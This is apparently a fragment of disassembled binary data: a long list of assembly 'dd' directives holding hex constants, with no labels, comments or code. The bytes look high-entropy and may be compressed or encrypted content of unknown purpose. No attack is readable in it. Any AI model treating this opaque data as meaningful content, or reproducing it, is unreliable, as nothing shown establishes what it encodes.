		dd 124EE27Fh, 1F37707h,	701EB210h, 5352D809h, 0E0298B57h
		dd 5BB368B8h, 229DCC29h, 0F8599A40h, 5FE1F0D3h,	0F69ED293h
		dd 5C95A450h, 0D8FAF3C8h, 1C23776h, 0E3F95FC5h,	203AD5A5h
		dd 7FA72A73h, 0E9126FC6h, 61EB54A5h, 6A9CDDE7h,	0C14C3EA6h
		dd 0E77FC40Eh, 0C9900156h, 3B3AD360h, 7E6E904h,	0CE8F98AAh
		dd 2F68BF40h, 9C661750h, 0EC30BB02h, 63DCF659h,	37BEDCCEh
		dd 43BDD4B7h, 0DB32DBF7h, 0B0CFB373h, 0C04B5B52h, 7F76FB18h
		dd 0FD50017Bh, 9ABF4F9Eh, 8B50D529h, 58C32915h,	20F658DEh
		dd 0EF564A79h, 81623E8Eh, 310219AAh, 425479DFh,	0E97F3FE9h
		dd 5D20D5EBh, 772A2759h, 2605D858h, 170957Eh, 88C10FFh
		dd 311E5B30h, 514BF7AFh, 68556D30h, 944C123Fh, 131BC62h
		dd 0EC360D1h, 4131D509h, 2AD8770h, 8F06772Dh, 717E056Ah
		dd 58D0E98Bh, 30F497BDh, 0F2BF855Ah, 7FF0E192h,	0F1201ED9h
		dd 123B3D6Ah, 2F57E202h, 78DA820h, 38F0890Fh, 0B5F3E939h
		dd 6850F120h, 95256547h, 7529570Ch, 3D8F1603h, 2E5D4BDAh
		dd 7A5A61CEh, 19303829h, 5B9C9ACAh, 0C413EEEAh,	4A9A18D2h
		dd 2C78D7D3h, 3B99F70Bh, 5C025F36h, 0B05DCB89h,	134FE347h
		dd 0C31C832h, 30F846F9h, 86EA70D6h, 5B0A0C39h, 0C85E6F33h
		dd 8B8500Ah, 845BFCADh,	9035B4E9h, 0DB6DC375h, 1F6F0248h
		dd 14104505h, 908B068h,	77F8FBE9h, 0B42FE398h, 3F01FF0Bh
		dd 0CCE2B652h, 801F2CB2h, 0D35DBBC3h, 0CC65EB5Dh, 9A4FB5h
		dd 557FBD76h, 0FAF442F1h, 5C015F96h, 1AA86851h,	0C271E77Ah
		dd 7F08ACE9h, 65D626A6h, 977CEAF7h, 0EE385F17h,	0FEF920DAh
		dd 0C182BDE6h, 0EFCCA4A5h, 7E06C970h, 731202FCh, 0BAEAB24h
		dd 0B15613DFh, 0AF58ED82h, 0FDC9B242h, 0D0802DC8h, 0F00926DEh
		dd 464BDE2Dh, 56009739h, 7B61BFBEh, 0CE813Fh, 1AE50627h
		dd 0F7EED146h, 2FEDDE4Bh, 0FF1C8F16h, 665C9F71h, 0D851D792h
		dd 0E3AA0A62h, 2CA70077h, 13143112h, 8C7D1C68h,	0E802E127h
		dd 72E9CB57h, 0B2C0EBCEh, 3C8FCC4h, 327EF8B8h, 0D8458095h
		dd 33004B0Dh, 7D2D48C7h, 0B7AF46Ah, 0F1BD9135h,	0E0BE3A05h
		dd 0ACBA5E33h, 0EBBAE3F2h, 3B947595h, 40B94555h, 31F28797h
		dd 0AB4F03B0h, 96DBAC15h, 89CF1B1Ah, 9B2B8225h,	0F1ED507h
		dd 0D3E17C5Bh, 12A6A32Ah, 0A7EBE829h, 215D23D7h, 68560223h
		dd 58CC3F4Ch, 980FFD20h, 0FEBC29C5h, 0C2CB4E3Fh, 26D8C75Fh
		dd 0FB5CC73Ch, 40758E05h, 8881B7BAh, 20B85BFEh,	0E9C40ADCh
		dd 0C2F4EF1Fh, 2AE30EE1h, 0F1C05F25h, 1D651511h, 8BFCE925h
		dd 788974C1h, 0A74FE7E9h, 5A1150D7h, 466870ECh,	0F896F50Fh
		dd 21D7808Bh, 0FEC6FF17h, 0D45CFC62h, 0B9BAC126h, 72DF9CEh
		dd 9DDE57C4h, 3A4CAC4h,	0FF5F20DDh, 1A07C705h, 0AFC01FFCh
		dd 7CAC0BEDh, 87EF043Dh, 865FA72Ah, 880288Fh, 0FE7C3159h
		dd 4903564Eh, 0BE921174h, 7EF51ECh, 425F453Bh, 5665AF14h
		dd 4CB75087h, 4AA6795h,	12F31499h, 61FB0E53h, 74E526B3h
		dd 0A99227Ah, 0F0C85864h, 670BBF79h, 0E174B3DDh, 188FF7F0h
		dd 3AA96858h, 0D1BF337Dh, 8B76384Eh, 2207310h, 0FC28C1B7h
		dd 0ECF38366h, 28C20F4h, 0A0049790h, 0F128A1B1h, 0C36930C0h
		dd 0C85995FEh, 37A146C5h, 0B2FA857Fh, 0A2E985B2h, 9D7F39E8h
		dd 0E9C1B6F3h, 68A0BB82h, 4755257Bh, 866276DEh,	5A6602F2h
		dd 0B0B3A0AFh, 0FF975D25h, 9B69AAB4h, 7830283h,	17D409BCh
		dd 0C1B142C5h, 27CB1D20h, 57CCFEE6h, 34396813h,	30C05734h
		dd 72ECD084h, 320559C0h, 0F428FF0Bh, 622481FBh,	26AC1613h
		dd 0D6B3E35Ah, 80103FC9h, 0A14D5A58h, 0FC04BA9Dh, 58920A5h
		dd 889664BDh, 0AFA385FAh, 0D501F2D0h, 21CD2668h, 99A5BF3Ch
		dd 9DC54455h, 8B497358h
		dd 5C41603h, 0FAC49CB8h, 0F73005A9h, 3F51D22Ch,	23591FB1h
		dd 2C8C8418h, 3916F268h, 649864CCh, 2E5C4114h, 0FB3AB6B1h
		dd 3646CF21h, 79780F33h, 0FA10D2E6h, 0C2D24777h, 57E72B9h
		dd 2B26CBE6h, 0D113C016h, 185E6D56h, 0F26090B1h, 7D2EB898h
		dd 3EEB5C11h, 9760474h,	93CFE95Eh, 0F4825917h, 0AC686CB8h
		dd 0EEA5853h, 47E78853h, 0EF555BFDh, 14EA2DEAh,	0B2F90175h
		dd 9D0281Fh, 81A41128h,	2F31D95Ah, 23122FF3h, 0D5FA4F6Dh
		dd 0F81AE0E4h, 90D78702h, 0BF60C4E9h, 0EAB5FF52h, 88F986F9h
		dd 0C5E6584Fh, 0B2384B20h, 3ED3242Fh, 0A97107EBh, 0EAD55809h
		dd 65922F68h, 0A8BCC69Bh, 98FF4A0Ah, 0F1B2CA04h, 66B238C6h
		dd 0B42AF8FBh, 0E54C2F87h, 0E49DD5B0h, 25387827h, 887612F6h
		dd 0C0C19A50h, 1049BA26h, 424B2DDFh, 0E812FADh,	2062E729h
		dd 7B959D0Fh, 88E9614Ch, 8AE36B8Dh, 1B79E318h, 0BF80F5D3h
		dd 0DA0A09BCh, 2F72155h, 7ECC796Bh, 125145B9h, 0C80CBAF7h
		dd 44E7478Bh, 0FF41D073h, 0C0B936D4h, 0CD3CF1F7h, 89259F76h
		dd 3E3953CAh, 5F77DE7Dh, 7CD4EF0Ah, 2C149503h, 30C0535h
		dd 0C0CA152h, 0B252E390h, 0D4794370h, 74E0712Eh, 0ED536583h
		dd 68519808h, 9912125Eh, 698E83Dh, 5B6A2C3Ch, 0DA970E8Ah
		dd 0CB4F8489h, 0EEDBF7E4h, 0B2E9F431h, 2768D964h, 2C5E6073h
		dd 6059553h, 0E04410E9h, 0CAEF1CBAh, 54BE2717h,	1698AD9Bh
		dd 0C29EAAE9h, 49C50501h, 0D83F1E0Ah, 8FFF9923h, 262BF20h
		dd 88C12378h, 8F02EA83h, 805EED77h, 1965F28Ch, 51899F4Dh
		dd 3083D580h, 44B55A28h, 4BE3C078h, 2FD3CB81h, 5316CD12h
		dd 0B039C7EBh, 98189DEBh, 0DE4CB0B8h, 5EF30489h, 0CAE6DF89h
		dd 49E9560Ah, 8ED5A78Dh, 8724C161h, 0BE2BC361h,	25683F29h
		dd 2B6F2341h, 685C058Ch, 0BD8C0EF3h, 5BF10CBAh,	0BCDE3C49h
		dd 3A760C02h, 0EDD2BE9h, 0FEB804A2h, 7FCB5CF4h,	3DE36860h
		dd 0FB056028h, 51E78D09h, 26B1D69Dh, 0FE43C952h, 3FE40EA0h
		dd 0C08314BFh, 0A8054007h, 2309ED28h, 521B30E9h, 53E70A5Fh
		dd 0C96159h, 227C2492h,	13984F47h, 0D700BB41h, 1201E1E2h
		dd 0BEF75D33h, 3547C207h, 0EAC07885h, 0B0441F7Dh, 0B85B20BAh
		dd 0C296812h, 0AAFE38FEh, 0A0E6695Fh, 84F1B94Fh, 6C14A04Ah
		dd 0EDABB54Eh, 0D2143A18h, 0C8151041h, 34206801h, 0ED5B1E82h
		dd 2F543CFCh, 92F3AFD2h, 0B64BA0F8h, 0BA20D2BEh, 90A74757h
		dd 5211C921h, 472D384h,	90FF4F5Ch, 0D51FCB29h, 2575547Fh
		dd 0F1BF0A96h, 4402C0Fh, 83DFAA8Bh, 26BAFFA5h, 9F08C67Eh
		dd 385E25DEh, 1FB73B08h, 348D4A5Dh, 0E2060806h,	861B5527h
		dd 259B9810h, 0E4DAA55Ah, 0F6910313h, 0C9F25496h, 0B8FFB850h
		dd 0C7149952h, 8009C9ACh, 0EBD3F78Eh, 0B050F1C0h, 706FBA5Bh
		dd 0BEF05C39h, 40B4341Fh, 5193B353h, 0C94EA4E9h, 0FA7E34ABh
		dd 0C6BBD516h, 7140CDEh, 75E06425h, 0D8B2294Ah,	152D2150h
		dd 0AD38EE32h, 0CDD60573h, 0EA01C711h, 1089CA90h, 0E82E4BCBh
		dd 52F4000Ah, 92BF2997h, 0FF5E4A51h, 4BDDE84h, 0FC09D406h
		dd 0E702117Ch, 430F4472h, 4661C147h, 44D2992Eh,	0A5A60BE8h
		dd 3EA90F63h, 0D3FFD6B6h, 33EB88F8h, 95DFF60Ah,	30B4B502h
		dd 0E3E50FEFh, 0E4E65F8Eh, 7B820C43h, 0C5930411h, 0D3F22D81h
		dd 17EAD73h, 0E9E82107h, 1FE03A2Ch, 0E7CFB554h,	1282E6A7h
		dd 0AC307168h, 9E81A484h, 28005B35h, 0A15C2CC8h, 7DC73E59h
		dd 7725EFBEh, 64B305C0h, 4F6E4695h, 4F9078Ch, 2C682195h
		dd 53206ADDh, 92F4B5E9h, 1CF858DCh, 0B90E4030h,	200C4E91h
		dd 0C4CA2104h, 0E380AEAh, 2CB9ED9h, 7EA961DCh, 1BD99E43h
		dd 1802FB24h, 541F2763h, 0DAC4A01h, 14171C08h, 632520CAh
		dd 9B68A0B0h, 0B850011Dh, 5E55D29h, 263F700Dh, 8B033575h
		dd 0F72CAF21h, 0C4AC0D8h, 0BF2E4912h, 473AE913h, 72E388B2h
		dd 8851556Eh, 37AF6805h, 28172CB3h, 9139FBB1h, 0C05AD368h
		dd 54234DFBh, 86E91813h, 0BD4A3EFCh, 599BA174h,	8994F96Eh
		dd 9FE95077h, 1BB5F6FEh, 2A05E3BCh, 16223427h, 0B11C87BFh
		dd 0CF3130F6h, 54A8B2E7h, 9D05EEF5h, 0F5CB897Eh, 0AD4131C2h
		dd 8DE36E2Ah, 0D897884Eh, 6C658BB7h, 4D4AC26Eh,	5FE03879h
		dd 6DCB2261h, 0BD7C54C6h, 0B31D9093h, 4A893A30h, 0EA4BC4A7h
		dd 0C35D5391h, 0A1F34581h, 61A92E80h, 2141F4D7h, 0F9259C92h
		dd 0BC15E87h, 9D0007E7h, 2C0B7488h, 11286AB4h, 0FF3DAC0Ch
		dd 10570C1Eh, 4784F72h,	937C9071h, 0CBAF22D4h, 0A5152D9Bh
		dd 99BE599Ah, 96886B62h, 0BDA32DE9h, 0BE0A11D7h, 4898EC3Fh
		dd 11BB056Bh, 37C47D29h, 3FA14D87h, 0CE4074B7h,	5A9E2E3Ah
		dd 0A305EA09h, 0BA497F11h, 58D654FDh, 0FABFCAE9h, 1A572D73h
		dd 7FB18E18h, 0B9183328h, 0FB721709h, 0E7707703h, 0B4590881h
		dd 170412ECh, 8EFB3C8Bh, 0AE101372h, 0E3E706BCh, 0A958EDB9h
		dd 1CB94E31h, 7B3B412h,	27FA883Bh, 0B1DE95D1h, 64DA2F43h
		dd 4A16354h, 5576A853h,	48A18B51h, 0AF2E169Dh, 38078AFAh
		dd 0ED7EC130h, 28680E1Ch, 0D9FB1636h, 0FA5F111Ch, 8BC112C9h
		dd 0BFA9D0BAh, 0DCCB3378h, 0F21D7EB4h, 0CE17527Fh, 3B8C687Dh
		dd 0D696795Dh, 2660E725h, 3E10C22h, 7F9DC223h, 565B4183h
		dd 32A9EFE9h, 0C4E77EFh, 0C4809180h, 0EAFE7399h, 88772DECh
		dd 0C3FAB34Ch, 1810BFB2h, 0E909F330h, 1AAD4F8h,	9C670583h
		dd 7D9C8153h, 5573EC77h, 0DCE0F8B0h, 0EECB2980h, 57EBAA36h
		dd 775A9EFEh, 4C065D79h, 0A0ABFEE7h, 324D6Ah, 0E6810287h
		dd 38450A89h, 0FB144490h, 2FB5FAFDh, 22C5DEF1h,	0C42CF398h
		dd 0A909FC5Eh, 0B4F7E83Bh, 0DEC5BA91h, 9313A32Eh, 12F6F3BAh
		dd 1BE8A6E9h, 0DF30EE4Bh, 0B00F5CFCh, 5A7825F9h, 22D49C5Dh
		dd 5792C268h, 7D5A55F0h, 52517031h, 12FD5D02h, 0FB1AF7B7h
		dd 569DE702h, 0B221A60Eh, 1548B78Ch, 0EC2443ACh, 3359B45Ch
		dd 8FC47445h, 6F7763AEh, 3E535DF9h, 0FD6AB9E1h,	51AC4C4Fh
		dd 13FB2B78h, 999B8A4h,	0E9295F08h, 6E4611h, 80D6F6E5h
		dd 0F7F4C0E6h, 0A552F04Ah, 9FE52FAh, 2A7E6C03h,	5DE1806Bh
		dd 2BA3C0Dh, 176F5713h,	0D04958E9h, 79F82F5Fh, 0BF91CA3Dh
		dd 0A7C41768h, 5AA1790Bh, 9FC7FA84h, 0FFBCEE79h, 643D3325h
		dd 94E5F8E4h, 270C6AF7h, 0E91286D2h, 72EED56Dh,	0C65F53FDh
		dd 27597CEh, 57EC9EE5h,	8103A964h, 0EE4B2CF1h, 590C0769h
		dd 0E5432316h, 49CD5D1Dh, 2068B14Fh, 7E9F5554h,	6E844956h
		dd 0D2310504h, 23BBEC85h, 0AAD4EF28h, 59E186B4h, 0ED9777D0h
		dd 7EF04E3Ah, 8A675DBEh, 0D00B0275h, 7E7D6849h,	0CF820971h
		dd 5C523E5Ah, 7C031DBh,	42CBCC41h, 681869D8h, 0E1689F92h
		dd 80838055h, 0E72859CBh, 76C6A16Eh, 26544866h,	7AA57BDFh
		dd 28C01724h, 8A4E05C4h, 943FAC46h, 54052570h, 0CC31506Dh
		dd 77624895h, 0CDDA3D79h, 0B05E0858h, 0CC48900h, 21F4E0D3h
		dd 7664969h, 303FEE05h,	10DE67F7h, 3997E96Ah, 30E7D6A9h
		dd 5FCEF28h, 70651525h,	1B559F59h, 0D4E9C85Dh, 0EB599D08h
		dd 9E086B24h, 375A1CB7h, 0E176958Ah, 0CC003B6Ah, 82B563Eh
		dd 6F24101h, 2B951C08h,	2FC44523h, 0F209A6ECh, 7E256AE9h
		dd 8491969Ah, 8658801Bh, 0B97B6CEEh, 7434842Dh,	46D047E1h
		dd 549D08C2h, 68520EA2h, 0AD461D49h, 0ACD9722Ah, 6957C104h
		dd 94EA4E3Fh, 5808097Ah
		dd 2ECA5075h, 863E8B2Ah, 565AD731h, 49E78102h, 8E059D1Ah
		dd 9C02C5A1h, 0D6F4DA04h, 6908AA17h, 74150103h,	6A31E3A0h
		dd 112ECA6h, 81B2ABD7h,	0E4B3EFB4h, 0A9C61913h,	403E9A71h
		dd 2579081Ch, 0CCC536ABh, 7C6D908Bh, 5C054F5Ch,	328BB35h
		dd 5B544045h, 34AF294Fh, 0D2F1BB3Fh, 0EFD7522Fh, 6785E0C4h
		dd 4E2288FBh, 0A9F7D35Fh, 0C325E95Dh, 26E6465Fh, 0CF7D3802h
		dd 67DE352Eh, 7D4C6CD7h, 9FEB27D5h, 4A820E4Ah, 31DFC204h
		dd 2108119Dh, 5A1CAF60h, 17186856h, 0EC6F2F26h,	44EB5FD0h
		dd 0FA015CC1h, 9E5A6244h, 931041FAh, 2A5BEC7Bh,	93508AA9h
		dd 3A9B03C6h, 0F5310673h, 8ED4C12h, 69125112h, 0C2E2E7ACh
		dd 0FD654A5Dh, 7C8ED941h, 8BBB3A25h, 155542h, 4B05504Fh
		dd 0C0E92C09h, 3B77A661h, 4F0A40A6h, 216086A1h,	9B112070h
		dd 667C6272h, 65BBE109h, 0FFD644h, 67112E73h, 3ABA0DE9h
		dd 5325309Ch, 0F7B289D0h, 0E99C526Dh, 7722A85Ah, 0F89A6263h
		dd 4BBFDAC5h, 51D628AEh, 7F28681Bh, 0CA8F449h, 64BD9E60h
		dd 294C7AA3h, 253A5018h, 28277412h, 567E9101h, 0BC7FAF54h
		dd 0CEB7B74Eh, 4AB44AC3h, 40E3B14Eh, 6E5FBB11h,	4ECA0163h
		dd 0C205C276h, 12145840h, 0AF1C4F21h, 6914868Ch, 22D544AEh
		dd 551C5437h, 6E18BE19h, 48BF7B00h, 9064C06Ch, 3E3A0CF5h
		dd 6B61233h, 61BF04B2h,	0BC6A2D7Bh, 3F7864F1h, 41FDF2BEh
		dd 17126EA4h, 10DAB7AEh, 71056C81h, 0EE59A669h,	4E3A40C8h
		dd 0E5FFA8C6h, 0CDCF5C21h, 0BDC9202Bh, 2E0460B0h, 30E58133h
		dd 0B35336C3h, 8531CBCDh, 0A2C209C1h, 39809E24h, 0E29D66F2h
		dd 0E43FBE75h, 0ED43C196h, 391016B1h, 198B8F60h, 0F53C5CC3h
		dd 0C5E15Fh, 1D61F9B6h,	203F875Ch, 0BF5F4ABBh, 7D99DD67h
		dd 0B39E545Bh, 0D0B28813h, 0BFC1C140h, 3E7DA109h, 39D6B58Ah
		dd 97D75BDAh, 8F21FB01h, 0C46BB7E9h, 768EFB65h,	0E90C8330h
		dd 3E9A75EAh, 390B1B90h, 762AD31Eh, 0D6F762C4h,	35060B61h
		dd 7DF4830Eh, 0E02E683Ch, 2DE903EFh, 38DD2071h,	0ACA81D5h
		dd 6B0D45DBh, 0D3A642E4h, 0D6372AF5h, 94CA802h,	1B6061D9h
		dd 2BBB296Eh, 59960EE2h, 5BA307Bh, 94FADF84h, 0C97E0BA3h
		dd 16BD6EC0h, 3871631Eh, 0D67A6B89h, 0CDE619Bh,	991AF03Ah
		dd 20A6C6BFh, 5E5E4EBBh, 0C62F82F6h, 0CB20DF5h,	61BEFC7Eh
		dd 785560Dh, 0FE18DE00h, 10FA2B5Ah, 0C6808D8h, 1DE90B14h
		dd 572782D4h, 0B12419E7h, 0C2DF9C18h, 6D060F8Dh, 38845D01h
		dd 48A6B3CBh, 0A0BF20B0h, 4AC4B5h, 81466EC1h, 0AC196DE6h
		dd 0EED17213h, 858BF20Fh, 0E9181F7Dh, 9A9A8E10h, 81B375D2h
		dd 91A26A5Ch, 0D040EAD6h, 0FC02BB05h, 0D0011432h, 0FB47072Dh
		dd 0F3D3E909h, 25A7E4F7h, 14DF5D5Fh, 0C57E88D5h, 766334E9h
		dd 0F2C1EBDBh, 0E6D1CCFEh, 2BE87Fh, 0BED80A5h, 2859EE20h
		dd 4F93D6F6h, 0E4E3C4BAh, 0CBF65A0Eh, 16F50953h, 0D9B30868h
		dd 0B515316h, 6125ADADh, 0AB189402h, 0BBD0C61Fh, 823B1792h
		dd 45F55CD7h, 93CFAFE3h, 5698D52Dh, 0EE20617Dh,	67230935h
		dd 0C8003226h, 6FB174A1h, 0E490A590h, 5EA9147Eh, 35D96155h
		dd 0A5062228h, 5A4838FFh, 0C953F6B5h, 710891FEh, 3A0C905Ch
		dd 351409Ah, 632AECB9h,	7E2574Dh, 0F92596FEh, 4F7249E0h
		dd 0ECD4D04Ah, 4C17CEAEh, 7FFD045Ah, 9C02E1Fh, 616D3BFEh
		dd 581B0C22h, 0EC816AE0h, 90C38005h, 8227D4E9h,	0AC20F650h
		dd 0D70926EEh, 2AC75130h, 6AFC5827h, 196B1206h,	4ADFC3Eh
		dd 505FF831h, 7CDD5AC0h, 0E9350D12h, 0C2523285h, 0B2525957h
		dd 0C15F337Ch, 5932574Ch, 0D4871813h, 5653AADCh, 738FD8FEh
		dd 63A6475Ah, 33ADE982h, 109EDB57h, 8FED8418h, 6E645E0Ch
		dd 4BCC613Fh, 5A34CEBAh, 79E1F6B9h, 0D73001D0h,	0C692817Eh
		dd 0D5FEC18Ch, 10E9D4EEh, 5B229CE3h, 0BA06D817h, 4EE36963h
		dd 7B14ADEAh, 0B885064Bh, 0DDE385BAh, 48A900C8h, 3698C003h
		dd 761BF706h, 50C1835h,	0FAE27F2h, 6BD10047h, 1E6B7FEh
		dd 25AFF94Ch, 2DC014C2h, 0FCD945B6h, 3E967F49h,	27C1295Bh
		dd 44D42DADh, 0B52275E2h, 5019574h, 79502CDCh, 5FBF342h
		dd 0E6F6FA5Ah, 3F30F250h, 0BA02596Dh, 98EC7177h, 0FF1359D6h
		dd 0F7B624C1h, 0B72EFDDCh, 5204FD18h, 9DA6797h,	0ED82EEC1h
		dd 5D054027h, 6890CCAFh, 98204C2Dh, 0CB03FC4Dh,	0C68D6D3h
		dd 791816C2h, 0C30C1A36h, 217E2D92h, 4800B0D8h,	63052E35h
		dd 0B0C689A3h, 0AAFF61BAh, 64AEA0BFh, 0B840C41Bh, 2C59775Bh
		dd 646DD442h, 8330BA5Ch, 0B7547068h, 110BB198h,	0F21D93C2h
		dd 0FD7B66FEh, 534374C2h, 13F647F3h, 0DE206AB0h, 0E4584B6Ch
		dd 0AD419A05h, 31FBDF20h, 0A096EF30h, 0C6896E9Fh, 0E4F4807Fh
		dd 0DD488BD7h, 90774C41h, 4E8A0B82h, 0C40D7562h, 0EA08041Ch
		dd 70B788C8h, 27039FDEh, 97EAE288h, 599581F8h, 48C78C79h
		dd 5F9BCD15h, 1C2B188Bh, 0C529264Ah, 3AA30894h,	1ED31325h
		dd 9AC9FE3Bh, 0DC8159F0h, 31BBEBB0h, 10C27CB1h,	8E40393Eh
		dd 74755E65h, 0F7D1FA58h, 5102CADFh, 5AD35E57h,	5D1B425Dh
		dd 5995EBE4h, 0E2114966h, 0E05149A9h, 0AB92E0C1h, 1112327Fh
		dd 0E2BEFEA8h, 0F10B4FCBh, 54B90098h, 7DE98149h, 343B1330h
		dd 0DCBE0489h, 0B4DAABDDh, 6A15E90Dh, 0D855DA21h, 24E90D2h
		dd 61407780h, 0F080D929h, 48314D3Eh, 18596872h,	218A843Ch
		dd 0AAE2EB13h, 9603ACD0h, 0E91D5251h, 57C24E69h, 7FDDB0Ah
		dd 0DE1EC823h, 527FC2B2h, 0F6DD4255h, 0FBD76373h, 31AF365Ah
		dd 0A8A78A20h, 584D8416h, 2CBAB4DEh, 99FCEBAh, 81CCF7E4h
		dd 23047495h, 8A4CAE64h, 64D17CBEh, 0A5EE92Dh, 43266168h
		dd 0E66DE98Ah, 682FB4A2h, 0AC9B7D5Ch, 3FE3F1D1h, 52D45CECh
		dd 68381B20h, 223E8B14h, 2D7C5659h, 74A8EBE8h, 65491EB6h
		dd 0DF273E71h, 0E961345Eh, 7D96091Ch, 8985AABBh, 0A0C712AFh
		dd 0EF165DB4h, 0B9025E0Ch, 0A2E0CDE9h, 9B5328ACh, 59B7B09Bh
		dd 4EEF3980h, 886DF785h, 201A8FCh, 0C4B2E93Dh, 75FAC4FEh
		dd 62F697C6h, 0D3165CFh, 0F05E83B4h, 77784D2Eh,	3A2D2A7Eh
		dd 34E17D98h, 801B73CAh, 0BC6866BFh, 0D265117Ch, 0B1BFBF9Fh
		dd 8940E9E8h, 8F835357h, 3A8DFECEh, 0ED176BDDh,	0A36D5A96h
		dd 34100BDBh, 0D18FEE5h, 888007C0h, 0C3DEBFDCh,	59E10452h
		dd 5C8E25D2h, 47973AF2h, 0CAAF40A6h, 334C2CCCh,	0C26AA598h
		dd 321226BFh, 0A5A90C35h, 54E95681h, 0F1F951AFh, 34997B01h
		dd 2D27992Ch, 4DC4257h,	17BF9B9Ah, 2A72B5D4h, 283669EFh
		dd 0A4FC2C0Eh, 14AD4CA4h, 1453BF56h, 0C405527h,	7A624568h
		dd 79E63BF1h, 2924B938h, 53516083h, 7AF8EB89h, 0E9420FB5h
		dd 620F59F8h, 0BB0093CBh, 4E545506h, 2A53A165h,	0A4F90982h
		dd 4EEDCCC0h, 0CFA3307Bh, 0D5FF8BDh, 0F751D0Bh,	78E37030h
		dd 14BF0361h, 39AAC205h, 42C701C1h, 550BBAF6h, 0AB005B4Bh
		dd 5B685350h, 9723567Dh, 1643D4C0h, 951E8FACh, 2D836B03h
		dd 16C6053Fh, 228169B8h, 0A1DF8705h, 3C32C373h,	272013E9h
		dd 0F9D582DEh, 19554979h, 0D42C9A82h, 0EBC50116h, 4C652368h
		dd 0E8878754h, 21234403h, 5607B42Ah, 2C073153h,	5515E557h
		dd 33524590h, 642E1C32h, 410E786Ch, 50655644h, 4E0D3149h
		dd 0C64CF954h, 77010AA8h, 812B6A6h, 0A4DEA544h,	0EC9FC0AAh
		dd 7F90FDDCh, 15A55E37h
		dd 0A69842D8h, 427D824h, 44CE48A8h, 10C42258h, 0BA89A95Fh
		dd 4484C808h, 6E1F56B0h, 0E1409AB4h, 583D0F29h,	867AA0h
		dd 27F913CBh, 1C718B45h, 9C7EB300h, 12F6C8E2h, 6C3E0058h
		dd 0E5B7D189h, 2B0045FFh, 743D604Bh, 21D7FDh, 0C6FE980Ah
		dd 484E08ECh, 1690D61Eh, 0F3C02DDCh, 2E5AA573h,	0EDA200F5h
		dd 712910EAh, 0AE00286Bh, 0C8E880B5h, 4D05EEh, 0E2DF347h
		dd 72DAD4F7h, 9C502000h, 7E14449h, 666C0024h, 1A310E12h
		dd 0A27F5C40h, 0AB003D76h, 2B548063h, 1E82C1D8h, 4F94525Fh
		dd 0B6832C4Bh, 4BDFA028h, 61660187h, 0FC2ECA6Fh, 34039399h
		dd 2B4E745Ah, 0F0350786h, 5005EB9Dh, 8DA44F46h,	13CDB300h
		dd 0AF11170Eh, 3DF700DDh, 6D355764h, 313ECC4h, 5BB837D5h
		dd 67210900h, 0DC947B4Dh, 0BF0C207h, 7EA03953h,	0DAACC6h
		dd 0CF243EF8h, 954F31E6h, 0C5A97B00h, 3C1FF10Bh, 986A0984h
		dd 0B300F8B2h, 0FCC1F013h, 4BBDB3A0h, 0D32BB128h, 0F723861Ch
		dd 62C069C0h, 732F35C1h, 0DFF600DBh, 733E61A0h,	2900BA10h
		dd 6FB2B80Bh, 5771AFh, 783D692Eh, 25BFD25Fh, 94002A76h
		dd 0D8DED5DAh, 3C4F66B9h, 0C0989275h, 504EBAEEh, 21446A06h
		dd 88EB90h, 0FE893E6h, 0EE15DE08h, 8AB8A104h, 0E9D706B7h
		dd 0FBCDE780h, 425C0314h, 0B9D38B70h, 2C46FED0h, 0BE004EB0h
		dd 0B1664FA4h, 49FB15CFh, 9F003D29h, 18EA04BCh,	5E057832h
		dd 4170937Eh, 0CB3D8042h, 7334031h, 81F500F6h, 84C313CFh
		dd 0D0EDD5D9h, 22487D77h, 0BC24720Bh, 19007B02h, 0CAE55A5Fh
		dd 510907F0h, 7079D64Bh, 5D8D239Eh, 33834914h, 999000C4h
		dd 0A4E2E8EEh, 54340912h, 0E9268ECFh, 52AB7819h, 96AD6790h
		dd 0AFD3BC02h, 81A1258Ch, 53FE51B5h, 9005BFD8h,	0C037C04h
		dd 0A0CBE2A7h, 2C7B6B20h, 0CE0FA861h, 95C8757Bh, 3BC173DBh
		dd 560CAC8Bh, 0F8237E33h, 3BB9E00h, 0B4F35258h,	3DF507DAh
		dd 0E23B4138h, 0AB41D542h, 0E015713Ch, 461C5D15h, 8EC12D07h
		dd 1A979289h, 21DADCh, 0A90B1164h, 0A4D0F4D7h, 19C8B43Eh
		dd 6527F707h, 0B0012400h, 0C60C6462h, 9EBD4073h, 25481887h
		dd 9FF2198Ch, 1E4C991Bh, 46B482E7h, 0C1E41B49h,	33C0BFF0h
		dd 3703D92Dh, 74BEE1F8h, 0AB00091h, 0E5CB9DB7h,	3BE6112Bh
		dd 0C200FC76h, 2677D267h, 1DB5CC1Fh, 0C040F8DBh, 0B4B97154h
		dd 1600D0B6h, 35BBBC3Dh, 30F0D9E6h, 0C3857DC2h,	77D21DBh
		dd 7C964E01h, 0F30DC5AAh, 248038E8h, 80A89466h,	9EB2089h
		dd 6302354Fh, 0D9ABC57Fh, 52C840F6h, 98B2016Ch,	7AACDB8h
		dd 6F3A20FBh, 0E263FD30h, 72D4DA32h, 161A00B6h,	657C26E9h
		dd 46606F42h, 9B407F0h,	62A10C04h, 0C17723Fh, 0B3B939h
		dd 9F1419D3h, 377E116Eh, 501E483Ch, 3F7F3B67h, 7CC0CF0Fh
		dd 0AC69836Bh, 0C215F1B9h, 240B3830h, 16471FDCh, 7119FCF9h
		dd 1DBA4352h, 8A79E22Eh, 0B0B9330Bh, 0C8AB8500h, 503081A4h
		dd 146DA86h, 234248F3h,	80704164h, 0F95A0617h, 0E8D5A30Ah
		dd 90A70652h, 1E61446Dh, 3CE73A00h, 89ACEB22h, 4E17C028h
		dd 7FA1F5FBh, 86A9C000h, 267A7778h, 0A6AB00FEh,	0CD876943h
		dd 0CB3ED1C8h, 0E64B3088h, 1859B617h, 0C8B0C703h, 0D900E915h
		dd 2BD3E17Ch, 4A5ADEE4h, 0A4080260h, 3C6BFB3h, 751E9259h
		dd 906A8100h, 0F1EEF4AEh, 0F5CC440Ah, 800C2B39h, 37F8DCB6h
		dd 949953h, 0F6EDF29Dh,	7301ADF0h, 0BFC25B0h, 179EE71Dh
		dd 0A2A89B40h, 2B3083h,	4B6689C8h, 334FDFC5h, 86DAE007h
		dd 63309D9Ah, 7FBC62h, 7A91E454h, 92C3984Eh, 803A3739h
		dd 6D532D8Ch, 2E0FC7ACh, 13D1795Dh, 614A00FAh, 4B7FD650h
		dd 587A2603h, 0ADA08275h, 6281C65Ch, 0ED64CFA8h, 8CFC2261h
		dd 415205Eh, 89432B00h,	0FEB69D6Fh, 2D120FE4h, 0A0405B75h
